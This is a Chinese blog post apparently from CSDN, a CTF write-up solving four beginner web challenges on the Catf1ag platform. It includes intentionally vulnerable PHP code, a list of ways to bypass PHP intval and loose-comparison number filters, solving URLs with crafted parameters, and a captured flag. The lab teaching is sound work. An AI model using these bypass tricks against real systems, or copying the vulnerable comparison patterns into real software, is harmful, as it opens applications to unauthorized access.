Catf1ag CTF Web(一)
CSDN 2024-09-06 10:33:01 阅读 92
前言
Catf1agCTF 是一个面向所有CTF(Capture The Flag)爱好者的综合训练平台,尤其适合新手学习和提升技能 。该平台由catf1ag团队打造,拥有超过200个原创题目,题目设计注重知识点的掌握,旨在帮助新手掌握CTF相关的各种技能 。除了新手题目,平台也包含难度不一的题目,适合不同水平的CTF参与者 。
平台上的题目类型多样,包括WEB、MISC、CRYPTO、LINUX、PWN/ATTACK、REVERSE等,题目分数制度从60分到100分不等,难度从1星到5星 。题目提交时需要包含完整的题目环境、flag以及writeup,以确保题目的完整性和可解性 。
此外,Catf1agCTF平台还提供了一些辅助工具和资源,如在线工具箱、SRC资料和HW资料等,以帮助用户更好地进行学习和实战演练 。平台的网址为 https://catf1ag.cn/,有意向的用户可以通过官方邮箱catf1ag@163.com进行联系 。对于想要加入交流的用户,平台还提供了官方QQ群和频道,方便用户之间的互动和交流 。
需要注意的是,平台上的部分题目可能需要特定的环境配置,例如WEB题目会包含dockerfile,而PWN/ATTACK题目则必须包含dockerfile以确保题目环境的完整性 。对于题目的flag格式,平台有统一的要求,即flag需要以"catf1ag{}"的格式呈现 。
总的来说,Catf1agCTF是一个资源丰富、适合各个水平CTF爱好者的训练平台,无论是新手还是有经验的参与者,都能在这里找到适合自己的学习和提升机会。
一、Web 签到
打开靶场
右键查看源码
搜索关键字找到 flag,提交时要反转一下
二、flag在哪呢?
打开靶场
一样的启动实例查看网页源代码拿到 flag
三、intval
打开靶场
给出了源码,现在来审计
intval() 函数用于获取变量的整数值
汇总一下intval()函数漏洞的绕过思路:
1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
先输入 /index.php
<code><?php
# 禁止显示所有错误信息
error_reporting(0);
# 设置响应头,指定内容类型为 HTML 文本,并使用 UTF-8 编码
header("Content-Type:text/html;charset=utf-8");
# 包含外部文件 flag.php
include('flag.php');
# 展示当前文件的源代码
show_source('./index.php');
# 获取用户通过 GET 请求传入的 num 参数,并将其赋值给 $num 变量
$num = $_GET['num'];
# 将 $num 转换为整数,并将结果赋值给 $num2 变量。intval() 函数会将非数字的部分截断,并返回转换后的整数
$num2 = intval($num);
# 首先检查 $num 是否被设置(即用户是否提供了 num 参数),并且 $num 的值不等于字符串 '123'
if(isset($num) && $num != '123'){
# 检查 $num 是否等于整数 123
if($num == 123){
echo $flag;
}else{
echo 'flag{this_flag_is_False}';
}
}else{
echo '你输入点东西行不行...';
}
?> 你输入点东西行不行...
再绕过 intval 函数
http://subject.catf1ag.cn:44079/index.php?num=123ab
拿到 flag
四、easy_unser_1
打开靶场
同样也是代码审计
反序列化漏洞
<code><?php
//error_reporting(0);
show_source('./index.php');
class flag_in_there{
public $name;
public $age;
public function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function get_flag(){
echo "hello,i'm '$this->name',now '$this->age' years";
}
}
# 通过 new flag_in_there('vfree','19') 创建一个 flag_in_there 类的实例 $flag,并传入 'vfree' 作为 $name,'19' 作为 $age
$flag = new flag_in_there('vfree','19');
# serialize($flag) 将 $flag 对象序列化为字符串 $ser
$ser = serialize($flag);
# 通过 $_GET['str'] 获取用户通过 URL 参数 str 传入的字符串,并将其赋值给 $un
$un = $_GET['str'];
if($ser == $un){
include('flag.php');
echo $flag;
}else{
echo "你真棒~";
}
?>
我们可以输出一下 $ser 的值
class flag_in_there{
public $name;
public $age;
public function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function get_flag(){
echo "hello,i'm '$this->name',now '$this->age' years";
}
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
echo $ser
输出
O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}
然后构造url:
http://subject.catf1ag.cn:49640/index.php?str=O:13:“flag_in_there”:2:{s:4:“name”;s:5:“vfree”;s:3:“age”;s:2:“19”;}
显示flag:catf1ag{eauigjs4pmfc1d2wq3xkvl0h7b5rony89zt6}
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。